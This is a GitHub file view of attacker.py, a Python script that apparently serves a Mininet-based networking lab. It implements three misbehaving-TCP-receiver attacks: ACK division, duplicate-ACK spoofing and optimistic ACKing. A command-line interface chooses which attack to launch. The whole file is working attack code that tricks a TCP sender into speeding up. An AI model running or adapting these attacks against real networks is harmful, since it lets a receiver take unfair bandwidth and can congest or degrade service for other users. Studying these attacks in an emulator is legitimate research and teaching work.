-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathattacker.py
100 lines (84 loc) · 3.69 KB
/
attacker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from reno import *
import time
class ACK_Division_Attacker(TCP_Client):
def __init__(self, num, host, **kwargs):
TCP_Client.__init__(self, 'receiver', host, **kwargs)
self.num_division = num
self.log_attacker = True
def post_receive(self, pkt, status):
if pkt[scp.TCP].seq == 1:
new_seq = pkt[scp.TCP].seq
"""
If the sender includes a NONCE header, the payload increases by
8 bytes. We ignore the NONCE header by capping payload_len to
MSS.
"""
payload_len = min(MSS, len(pkt[scp.TCP].payload))
cur_ack_no = new_seq
for i in xrange(self.num_division):
if i == self.num_division - 1:
cur_ack_no = new_seq + payload_len
else:
cur_ack_no = cur_ack_no + payload_len / self.num_division
self.send_ack(cur_ack_no)
else:
TCP_Client.post_receive(self, pkt, status)
class DupACK_Spoofing_Attacker(TCP_Client):
def __init__(self, num, host, **kwargs):
TCP_Client.__init__(self, 'receiver', host, **kwargs)
self.num_dupacks = num
self.log_attacker = True
def post_receive(self, pkt, status):
if pkt[scp.TCP].seq == 1:
for _ in xrange(self.num_dupacks):
self.send_ack(self.ack)
else:
TCP_Client.post_receive(self, pkt, status)
class Optimistic_ACKing_Attacker(TCP_Client):
def __init__(self, num, interval, host, **kwargs):
TCP_Client.__init__(self, 'receiver', host, **kwargs)
self.num_optacks = num
self.ack_interval = interval
self.log_attacker = True
def post_receive(self, pkt, status):
cur_ack_no = 1
if pkt[scp.TCP].seq == 1:
for _ in xrange(self.num_optacks):
cur_ack_no += MSS
self.send_ack(cur_ack_no)
time.sleep(self.ack_interval / 1000.)
else:
TCP_Client.post_receive(self, pkt, status)
def check_attack_type(val):
if val not in ['div', 'dup', 'opt']:
raise argparse.ArgumentTypeError("%s is an invalid attack name." % val)
return val
def parse_args():
parser = argparse.ArgumentParser(description= \
"TCP malicious receiver (attack implementations).")
parser.add_argument('--host', dest='host',
required=True, help="Mininet host (`h1` or `h2`)")
parser.add_argument('--attack', dest='attack', required=True,
type=check_attack_type,
help="The receiver attack to implement (`div`, `dup`, or `opt`).")
parser.add_argument('--num', dest='num', required=True, type=int,
help="The number of spoofed ACKs the attacker sends on receiving the \
first data segment")
parser.add_argument('--interval', dest='interval', type=int,
help="Time interval between sending optimistic ACKs (in milliseconds).")
parser.add_argument("--verbose", dest='verbose', action='store_true',
help="Verbose flag for TCP communication log.")
args = parser.parse_args()
if args.attack == 'opt' and args.interval is None:
parser.error('Optimistic ACKing attack requires --interval.')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
kwargs = {'verbose': args.verbose}
if args.attack == 'div':
attacker = ACK_Division_Attacker(args.num, args.host, **kwargs)
if args.attack == 'dup':
attacker = DupACK_Spoofing_Attacker(args.num, args.host, **kwargs)
if args.attack == 'opt':
attacker = Optimistic_ACKing_Attacker(args.num, args.interval, args.host, **kwargs)
attacker.start()